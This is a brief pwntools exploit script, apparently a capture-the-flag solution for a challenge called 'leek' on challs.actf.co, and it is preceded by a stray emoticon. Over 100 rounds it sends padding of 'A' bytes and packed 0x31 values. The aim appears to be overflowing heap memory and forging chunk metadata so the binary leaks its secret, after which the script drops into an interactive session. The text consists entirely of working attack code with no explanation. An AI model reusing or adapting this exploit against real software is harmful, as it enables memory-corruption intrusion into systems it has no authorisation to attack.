ʕ·ᴥ·ʔ

from pwn import *

if args.REMOTE:
    io = remote("challs.actf.co", 31310)
else:
    io = process("./leek")

io.recvuntil(b"secret.\n")

for i in range(100):
    io.recvuntil(b"!!): ")
    attack =  b""
    attack += b"A" * 0x40
    io.sendline(attack)
    io.recvuntil(b"? ")
    io.send(b"A" * 0x20)
    io.sendline(p64(0x31) * 4)

io.interactive()